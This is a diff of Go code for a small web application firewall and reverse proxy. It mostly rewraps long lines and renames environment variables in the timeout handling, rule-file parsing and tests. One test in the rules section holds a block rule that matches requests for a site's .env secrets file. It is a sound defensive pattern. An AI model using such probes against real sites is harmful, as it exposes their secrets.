t.Run("with the default "+disposition, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
standIn := startWAF(t, func(_ http.ResponseWriter, r *http.Request) {
|
standIn := startWAF(
|
||||||
<-r.Context().Done()
|
t,
|
||||||
})
|
func(_ http.ResponseWriter, r *http.Request) {
|
||||||
|
<-r.Context().Done()
|
||||||
|
},
|
||||||
|
)
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
t.Error("the app was asked")
|
t.Error("the app was asked")
|
||||||
})
|
})
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, out := startRProxy(
|
||||||
timeoutSetting: "60000",
|
t,
|
||||||
defaultDisposition: disposition,
|
standIn.URL,
|
||||||
})
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
timeoutSetting: "60000",
|
||||||
|
defaultDisposition: disposition,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
|
||||||
@@ -1440,12 +1556,21 @@ func TestReportGivesWhatHappened(t *testing.T) {
|
|||||||
report.ResponseBytes != int64(len(greeting)) ||
|
report.ResponseBytes != int64(len(greeting)) ||
|
||||||
report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
|
report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
|
||||||
report.DurationUpstreamTotalMS > report.DurationTotalMS {
|
report.DurationUpstreamTotalMS > report.DurationTotalMS {
|
||||||
t.Errorf("report %+v, of %d bytes up and %d back", report, len(body), len(greeting))
|
t.Errorf(
|
||||||
|
"report %+v, of %d bytes up and %d back",
|
||||||
|
report,
|
||||||
|
len(body),
|
||||||
|
len(greeting),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
if line["request_id"] != report.RequestID {
|
if line["request_id"] != report.RequestID {
|
||||||
t.Errorf("line %v, report %+v, want the same request id", line, report)
|
t.Errorf(
|
||||||
|
"line %v, report %+v, want the same request id",
|
||||||
|
line,
|
||||||
|
report,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1474,9 +1599,14 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
|
|||||||
t.Cleanup(backend.Close)
|
t.Cleanup(backend.Close)
|
||||||
|
|
||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, _, server := startServer(t, backend.URL, app.URL, map[string]string{
|
addr, _, server := startServer(
|
||||||
timeoutSetting: "5000",
|
t,
|
||||||
})
|
backend.URL,
|
||||||
|
app.URL,
|
||||||
|
map[string]string{
|
||||||
|
timeoutSetting: "5000",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
wantGreeting(t, get(t, addr, "/"))
|
wantGreeting(t, get(t, addr, "/"))
|
||||||
|
|
||||||
@@ -1532,7 +1662,11 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
|
|||||||
_ = res.Body.Close()
|
_ = res.Body.Close()
|
||||||
|
|
||||||
if res.StatusCode != http.StatusSwitchingProtocols {
|
if res.StatusCode != http.StatusSwitchingProtocols {
|
||||||
t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
|
t.Fatalf(
|
||||||
|
"status %d, want %d",
|
||||||
|
res.StatusCode,
|
||||||
|
http.StatusSwitchingProtocols,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Past both time limits, the connection still carries what is sent.
|
// Past both time limits, the connection still carries what is sent.
|
||||||
@@ -1556,7 +1690,9 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
|
|||||||
t.Errorf("report %+v, of %d bytes each way", report, len(message))
|
t.Errorf("report %+v, of %d bytes each way", report, len(message))
|
||||||
}
|
}
|
||||||
|
|
||||||
if line := out.requestLine(t); line["status"] != float64(res.StatusCode) {
|
if line := out.requestLine(t); line["status"] != float64(
|
||||||
|
res.StatusCode,
|
||||||
|
) {
|
||||||
t.Errorf("line %v, want status 101", line)
|
t.Errorf("line %v, want status 101", line)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1711,7 +1847,8 @@ func TestEachRequestGetsAFreshID(t *testing.T) {
|
|||||||
ids = append(ids, standIn.question(t).header.Get(requestIDHeader))
|
ids = append(ids, standIn.question(t).header.Get(requestIDHeader))
|
||||||
}
|
}
|
||||||
|
|
||||||
if slices.Contains(ids, fromTraefik) || ids[0] == "" || ids[0] == ids[1] {
|
if slices.Contains(ids, fromTraefik) || ids[0] == "" ||
|
||||||
|
ids[0] == ids[1] {
|
||||||
t.Errorf("ids %v, want two fresh ones", ids)
|
t.Errorf("ids %v, want two fresh ones", ids)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1729,7 +1866,13 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
|||||||
app := startApp(t, greet)
|
app := startApp(t, greet)
|
||||||
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
|
||||||
|
|
||||||
req := newRequest(t, http.MethodPost, addr, path+"?"+query, strings.NewReader(body))
|
req := newRequest(
|
||||||
|
t,
|
||||||
|
http.MethodPost,
|
||||||
|
addr,
|
||||||
|
path+"?"+query,
|
||||||
|
strings.NewReader(body),
|
||||||
|
)
|
||||||
req.Host = site
|
req.Host = site
|
||||||
wantGreeting(t, visit(t, req))
|
wantGreeting(t, visit(t, req))
|
||||||
|
|
||||||
@@ -1755,7 +1898,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if line["default_disposition"] != nil {
|
if line["default_disposition"] != nil {
|
||||||
t.Errorf("default_disposition is %v, want it left out", line["default_disposition"])
|
t.Errorf(
|
||||||
|
"default_disposition is %v, want it left out",
|
||||||
|
line["default_disposition"],
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range []string{"duration_request_ms", "duration_response_ms"} {
|
for _, name := range []string{"duration_request_ms", "duration_response_ms"} {
|
||||||
|
|||||||
+29
-12
@@ -23,7 +23,9 @@ const answerBodyMaxBytes = 1 << 20
|
|||||||
const reportAnswerMaxBytes = 4 << 10
|
const reportAnswerMaxBytes = 4 << 10
|
||||||
|
|
||||||
var (
|
var (
|
||||||
errCannotPassOn = errors.New("the answer cannot be passed to the visitor")
|
errCannotPassOn = errors.New(
|
||||||
|
"the answer cannot be passed to the visitor",
|
||||||
|
)
|
||||||
errReportRefused = errors.New("the report was answered")
|
errReportRefused = errors.New("the report was answered")
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -65,9 +67,9 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
|||||||
rq.answer(http.StatusBadGateway)
|
rq.answer(http.StatusBadGateway)
|
||||||
default:
|
default:
|
||||||
// waf cannot be connected to, does not answer at all, or does not answer
|
// waf cannot be connected to, does not answer at all, or does not answer
|
||||||
// within SWW_RPROXY_TIMEOUT_MS. A request that keeps waf busy past
|
// within SWRP_TIMEOUT_MS. A request that keeps waf busy past
|
||||||
// SWW_RPROXY_TIMEOUT_MS, like any request while waf is overloaded, gets
|
// SWRP_TIMEOUT_MS, like any request while waf is overloaded, gets
|
||||||
// SWW_RPROXY_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
|
||||||
// whenever waf is slow. Making such requests hard to send is
|
// whenever waf is slow. Making such requests hard to send is
|
||||||
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
|
||||||
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
|
||||||
@@ -84,7 +86,7 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ask sends waf the question, and returns its answer, which must have come
|
// ask sends waf the question, and returns its answer, which must have come
|
||||||
// whole within SWW_RPROXY_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
|
||||||
// away.
|
// away.
|
||||||
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
|
||||||
@@ -108,7 +110,11 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
|||||||
// a read of that. Go's client also takes a status below 100, which Go's server
|
// a read of that. Go's client also takes a status below 100, which Go's server
|
||||||
// panics when asked to send.
|
// panics when asked to send.
|
||||||
if res.StatusCode < http.StatusOK {
|
if res.StatusCode < http.StatusOK {
|
||||||
return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
|
return nil, fmt.Errorf(
|
||||||
|
"%w: its status is %d",
|
||||||
|
errCannotPassOn,
|
||||||
|
res.StatusCode,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
|
body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
|
||||||
@@ -133,10 +139,14 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
|
|||||||
// waf.
|
// waf.
|
||||||
func canBeAsked(r *http.Request) bool {
|
func canBeAsked(r *http.Request) bool {
|
||||||
target, host := r.RequestURI, r.Host
|
target, host := r.RequestURI, r.Host
|
||||||
hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
|
hostHasZone := strings.HasPrefix(host, "[") &&
|
||||||
|
strings.Contains(host, "%")
|
||||||
|
|
||||||
return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
|
return strings.HasPrefix(target, "/") &&
|
||||||
host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
|
!strings.HasPrefix(target, "//") &&
|
||||||
|
host != "" &&
|
||||||
|
!hostHasZone &&
|
||||||
|
len(r.Header.Values("User-Agent")) <= 1
|
||||||
}
|
}
|
||||||
|
|
||||||
// newQuestion returns the question about the request, as "The question" in
|
// newQuestion returns the question about the request, as "The question" in
|
||||||
@@ -151,7 +161,11 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
|
||||||
ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
|
ctx,
|
||||||
|
in.Method,
|
||||||
|
rq.h.config.WAFBackend.String(),
|
||||||
|
bytes.NewReader(held),
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("make the question: %w", err)
|
return nil, fmt.Errorf("make the question: %w", err)
|
||||||
}
|
}
|
||||||
@@ -228,7 +242,7 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// postReport posts report to waf, and waits for its answer for up to
|
// postReport posts report to waf, and waits for its answer for up to
|
||||||
// SWW_RPROXY_TIMEOUT_MS.
|
// SWRP_TIMEOUT_MS.
|
||||||
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
||||||
body, err := json.Marshal(report)
|
body, err := json.Marshal(report)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -254,7 +268,10 @@ func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
|
|||||||
// The body of a 101 is the connection itself, and the time limit does not end
|
// The body of a 101 is the connection itself, and the time limit does not end
|
||||||
// a read of that.
|
// a read of that.
|
||||||
if res.StatusCode >= http.StatusOK {
|
if res.StatusCode >= http.StatusOK {
|
||||||
_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
|
_, _ = io.Copy(
|
||||||
|
io.Discard,
|
||||||
|
io.LimitReader(res.Body, reportAnswerMaxBytes),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
_ = res.Body.Close()
|
_ = res.Body.Close()
|
||||||
|
|||||||
+60
-18
@@ -1,5 +1,5 @@
|
|||||||
// Package rules reads the rule files: the plain text files in
|
// Package rules reads the rule files: the plain text files in
|
||||||
// SWW_WAF_RULES_DIR, one rule to a line, that each request is checked
|
// SWW_RULES_DIR, one rule to a line, that each request is checked
|
||||||
// against, as the "Rule files" section of SPEC.md describes. They are read
|
// against, as the "Rule files" section of SPEC.md describes. They are read
|
||||||
// at start, and again once the directory has had no change for a short
|
// at start, and again once the directory has had no change for a short
|
||||||
// time after one is edited, added or removed.
|
// time after one is edited, added or removed.
|
||||||
@@ -40,7 +40,7 @@ const (
|
|||||||
// extension ends the name of every rule file.
|
// extension ends the name of every rule file.
|
||||||
const extension = ".rules"
|
const extension = ".rules"
|
||||||
|
|
||||||
// quietTime is how long SWW_WAF_RULES_DIR must go without a change before
|
// quietTime is how long SWW_RULES_DIR must go without a change before
|
||||||
// the rule files are read again, so that a file still being written, such
|
// the rule files are read again, so that a file still being written, such
|
||||||
// as one saved in place, appended to or copied in with scp, is read only
|
// as one saved in place, appended to or copied in with scp, is read only
|
||||||
// once whole.
|
// once whole.
|
||||||
@@ -63,7 +63,9 @@ const escapeLength = 3
|
|||||||
var (
|
var (
|
||||||
// ruleLine is a rule: four fields separated by spaces or tabs, of
|
// ruleLine is a rule: four fields separated by spaces or tabs, of
|
||||||
// which the fourth, the regex, runs to the end of the line.
|
// which the fourth, the regex, runs to the end of the line.
|
||||||
ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`)
|
ruleLine = regexp.MustCompile(
|
||||||
|
`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`,
|
||||||
|
)
|
||||||
// idChars are the characters of a rule's id.
|
// idChars are the characters of a rule's id.
|
||||||
idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
|
idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
|
||||||
)
|
)
|
||||||
@@ -74,7 +76,8 @@ var (
|
|||||||
"separated by spaces or tabs")
|
"separated by spaces or tabs")
|
||||||
errNotID = errors.New("is not an id of letters, digits, - and _")
|
errNotID = errors.New("is not an id of letters, digits, - and _")
|
||||||
errNotTarget = errors.New(
|
errNotTarget = errors.New(
|
||||||
"is not path, query, uri, method, host, user_agent, referer or header:<Name>")
|
"is not path, query, uri, method, host, user_agent, referer or header:<Name>",
|
||||||
|
)
|
||||||
errNotHeaderName = errors.New(
|
errNotHeaderName = errors.New(
|
||||||
"has a character after header: that no header name can have")
|
"has a character after header: that no header name can have")
|
||||||
errHeaderTakenOut = errors.New(
|
errHeaderTakenOut = errors.New(
|
||||||
@@ -100,9 +103,9 @@ type Rule struct {
|
|||||||
|
|
||||||
// Params are what Load needs.
|
// Params are what Load needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// Dir is the directory of the rule files (SWW_WAF_RULES_DIR).
|
// Dir is the directory of the rule files (SWW_RULES_DIR).
|
||||||
Dir string
|
Dir string
|
||||||
// Enabled is SWW_WAF_RULES_ENABLED: while it is false, no file is read
|
// Enabled is SWW_RULES_ENABLED: while it is false, no file is read
|
||||||
// and no rule loaded.
|
// and no rule loaded.
|
||||||
Enabled bool
|
Enabled bool
|
||||||
// ProcessLog receives how many rules were read, and the error in a
|
// ProcessLog receives how many rules were read, and the error in a
|
||||||
@@ -271,7 +274,7 @@ func (f *Files) logRead(count int) {
|
|||||||
func read(dir string) ([]Rule, string, error) {
|
func read(dir string) ([]Rule, string, error) {
|
||||||
entries, err := os.ReadDir(dir)
|
entries, err := os.ReadDir(dir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, dir, fmt.Errorf("SWW_WAF_RULES_DIR cannot be read: %w", err)
|
return nil, dir, fmt.Errorf("SWW_RULES_DIR cannot be read: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
var rules []Rule
|
var rules []Rule
|
||||||
@@ -281,7 +284,8 @@ func read(dir string) ([]Rule, string, error) {
|
|||||||
|
|
||||||
for _, entry := range entries {
|
for _, entry := range entries {
|
||||||
name := entry.Name()
|
name := entry.Name()
|
||||||
if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension {
|
if entry.IsDir() || strings.HasPrefix(name, ".") ||
|
||||||
|
filepath.Ext(name) != extension {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -298,8 +302,13 @@ func read(dir string) ([]Rule, string, error) {
|
|||||||
|
|
||||||
// readFile appends the rules of the rule file at path to rules. places
|
// readFile appends the rules of the rule file at path to rules. places
|
||||||
// are where each id read so far is, and gain those of the file.
|
// are where each id read so far is, and gain those of the file.
|
||||||
func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
|
func readFile(
|
||||||
data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_WAF_RULES_DIR
|
path string,
|
||||||
|
rules []Rule,
|
||||||
|
places map[string]string,
|
||||||
|
) ([]Rule, error) {
|
||||||
|
//nolint:gosec // a rule file, in SWW_RULES_DIR
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -323,7 +332,13 @@ func readFile(path string, rules []Rule, places map[string]string) ([]Rule, erro
|
|||||||
|
|
||||||
first, used := places[rule.ID]
|
first, used := places[rule.ID]
|
||||||
if used {
|
if used {
|
||||||
return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first)
|
return nil, fmt.Errorf(
|
||||||
|
"%s: the id %q %w %s",
|
||||||
|
place,
|
||||||
|
rule.ID,
|
||||||
|
errUsedTwice,
|
||||||
|
first,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
places[rule.ID] = place
|
places[rule.ID] = place
|
||||||
@@ -355,22 +370,42 @@ func parse(line string) (Rule, bool, error) {
|
|||||||
case !idChars.MatchString(rule.ID):
|
case !idChars.MatchString(rule.ID):
|
||||||
return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
|
return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
|
||||||
case !isTarget(rule.Target):
|
case !isTarget(rule.Target):
|
||||||
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget)
|
return Rule{}, false, fmt.Errorf(
|
||||||
|
"the target %q %w",
|
||||||
|
rule.Target,
|
||||||
|
errNotTarget,
|
||||||
|
)
|
||||||
case isHeader && !config.IsHeaderName(headerName):
|
case isHeader && !config.IsHeaderName(headerName):
|
||||||
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName)
|
return Rule{}, false, fmt.Errorf(
|
||||||
|
"the target %q %w",
|
||||||
|
rule.Target,
|
||||||
|
errNotHeaderName,
|
||||||
|
)
|
||||||
case strings.EqualFold(rule.Target, headerTarget+"Host"):
|
case strings.EqualFold(rule.Target, headerTarget+"Host"):
|
||||||
return Rule{}, false, fmt.Errorf(
|
return Rule{}, false, fmt.Errorf(
|
||||||
"the target %q %w; the request's host is the target host",
|
"the target %q %w; the request's host is the target host",
|
||||||
rule.Target, errHeaderTakenOut)
|
rule.Target, errHeaderTakenOut)
|
||||||
case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
|
case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
|
||||||
return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut)
|
return Rule{}, false, fmt.Errorf(
|
||||||
|
"the target %q %w",
|
||||||
|
rule.Target,
|
||||||
|
errHeaderTakenOut,
|
||||||
|
)
|
||||||
case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
|
case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
|
||||||
return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction)
|
return Rule{}, false, fmt.Errorf(
|
||||||
|
"the action %q %w",
|
||||||
|
rule.Action,
|
||||||
|
errNotAction,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
regex, err := regexp.Compile(fields[4])
|
regex, err := regexp.Compile(fields[4])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err)
|
return Rule{}, false, fmt.Errorf(
|
||||||
|
"the regex %w: %w",
|
||||||
|
errNotRegex,
|
||||||
|
err,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
rule.regex = regex
|
rule.regex = regex
|
||||||
@@ -381,7 +416,13 @@ func parse(line string) (Rule, bool, error) {
|
|||||||
// isTarget reports whether target is one a rule may have.
|
// isTarget reports whether target is one a rule may have.
|
||||||
func isTarget(target string) bool {
|
func isTarget(target string) bool {
|
||||||
switch target {
|
switch target {
|
||||||
case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
|
case pathTarget,
|
||||||
|
"query",
|
||||||
|
uriTarget,
|
||||||
|
"method",
|
||||||
|
"host",
|
||||||
|
"user_agent",
|
||||||
|
"referer":
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -397,7 +438,8 @@ func (rule Rule) matches(r *http.Request) bool {
|
|||||||
target := value(rule.Target, r)
|
target := value(rule.Target, r)
|
||||||
|
|
||||||
if rule.Target == pathTarget || rule.Target == uriTarget {
|
if rule.Target == pathTarget || rule.Target == uriTarget {
|
||||||
return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
|
return rule.regex.MatchString(target) ||
|
||||||
|
rule.regex.MatchString(DecodeOnce(target))
|
||||||
}
|
}
|
||||||
|
|
||||||
return rule.regex.MatchString(target)
|
return rule.regex.MatchString(target)
|
||||||
|
|||||||
@@ -94,7 +94,13 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
|
|||||||
|
|
||||||
got := len(files.Match(r)) == 1
|
got := len(files.Match(r)) == 1
|
||||||
if got != tc.want {
|
if got != tc.want {
|
||||||
t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want)
|
t.Errorf(
|
||||||
|
"%s matches %s: %t, want %t",
|
||||||
|
tc.rule,
|
||||||
|
tc.uri,
|
||||||
|
got,
|
||||||
|
tc.want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -123,7 +129,12 @@ func TestPathMatchedAsTheClientSentIt(t *testing.T) {
|
|||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
|
tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
|
||||||
} {
|
} {
|
||||||
r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil)
|
r := httptest.NewRequestWithContext(
|
||||||
|
t.Context(),
|
||||||
|
http.MethodGet,
|
||||||
|
target,
|
||||||
|
nil,
|
||||||
|
)
|
||||||
wantMatched(t, files, r, "as-sent")
|
wantMatched(t, files, r, "as-sent")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -146,14 +157,20 @@ after path log ^/
|
|||||||
wantMatched(t, files, get(t, "/page"), "every-path", "after")
|
wantMatched(t, files, get(t, "/page"), "every-path", "after")
|
||||||
|
|
||||||
// A ban rule ends it too.
|
// A ban rule ends it too.
|
||||||
files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"})
|
files = load(
|
||||||
|
t,
|
||||||
|
ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"},
|
||||||
|
)
|
||||||
wantMatched(t, files, get(t, "/"), "ban")
|
wantMatched(t, files, get(t, "/"), "ban")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
|
func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"})
|
files := load(
|
||||||
|
t,
|
||||||
|
ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"},
|
||||||
|
)
|
||||||
|
|
||||||
wantMatched(t, files, get(t, "/.env"), "env-file")
|
wantMatched(t, files, get(t, "/.env"), "env-file")
|
||||||
}
|
}
|
||||||
@@ -184,7 +201,10 @@ func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) {
|
|||||||
|
|
||||||
// The lock file Emacs makes beside a file while it is edited: a link to
|
// The lock file Emacs makes beside a file while it is edited: a link to
|
||||||
// nothing, which cannot be read.
|
// nothing, which cannot be read.
|
||||||
err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile))
|
err := os.Symlink(
|
||||||
|
"user@host.1234:1700000000",
|
||||||
|
filepath.Join(dir, ".#"+firstFile),
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("symlink: %v", err)
|
t.Fatalf("symlink: %v", err)
|
||||||
}
|
}
|
||||||
@@ -276,7 +296,8 @@ func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) {
|
|||||||
dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
|
dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
|
||||||
path := filepath.Join(dir, "00-default.rules")
|
path := filepath.Join(dir, "00-default.rules")
|
||||||
|
|
||||||
wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want)
|
want := path + ", line " + strconv.Itoa(tc.line) + ": " + tc.want
|
||||||
|
wantRefused(t, dir, want)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -289,8 +310,12 @@ func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) {
|
|||||||
"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
|
"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
|
||||||
})
|
})
|
||||||
|
|
||||||
wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
|
wantRefused(
|
||||||
"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1")
|
t,
|
||||||
|
dir,
|
||||||
|
filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
|
||||||
|
"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1",
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||||
@@ -298,14 +323,16 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||||
|
|
||||||
wantRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
|
wantRefused(t, dir, "SWW_RULES_DIR cannot be read: open "+dir+
|
||||||
": no such file or directory")
|
": no such file or directory")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}))
|
params, lines := newParams(
|
||||||
|
writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}),
|
||||||
|
)
|
||||||
|
|
||||||
files, err := rules.Load(params)
|
files, err := rules.Load(params)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -314,14 +341,18 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
|||||||
|
|
||||||
line := lines.waitFor(t, read)
|
line := lines.waitFor(t, read)
|
||||||
if files.Len() != 0 || line["rules"] != 0.0 {
|
if files.Len() != 0 || line["rules"] != 0.0 {
|
||||||
t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line)
|
t.Errorf(
|
||||||
|
"%d rules loaded, and the log says %v, want none",
|
||||||
|
files.Len(),
|
||||||
|
line,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRuleFilesOffReadNothing(t *testing.T) {
|
func TestRuleFilesOffReadNothing(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// SWW_WAF_RULES_DIR does not exist, which would stop the start.
|
// SWW_RULES_DIR does not exist, which would stop the start.
|
||||||
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
||||||
params.Enabled = false
|
